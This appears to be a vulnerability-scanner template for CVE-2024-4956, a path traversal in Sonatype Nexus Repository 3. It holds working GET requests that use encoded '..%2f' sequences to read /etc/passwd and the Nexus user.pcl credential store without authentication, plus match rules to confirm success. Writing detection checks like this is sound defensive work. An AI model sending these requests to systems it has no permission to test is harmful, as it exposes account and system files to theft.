漏洞描述
Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
id: CVE-2024-4956
info:
name: Nexus Repository Manager 文件读取漏洞
author: zan8in
severity: high
verified: true
description: |-
Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4956
tags: cve,cve2024,nexus,fileread
created: 2024/06/18
rules:
r0:
request:
method: GET
path: /.%2f/..%2f/..%2f/..%2f/..%2f/etc/passwd
expression: response.status ==200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r1:
request:
method: GET
path: /.%2f/..%2f/..%2f/..%2f/..%2f/nexus-data/db/security/user.pcl
expression: response.status ==200 && response.body.bcontains(b'Useractive') && response.body.bcontains(b'admin') && response.body.bcontains(b'Administrator')
expression: r0() || r1()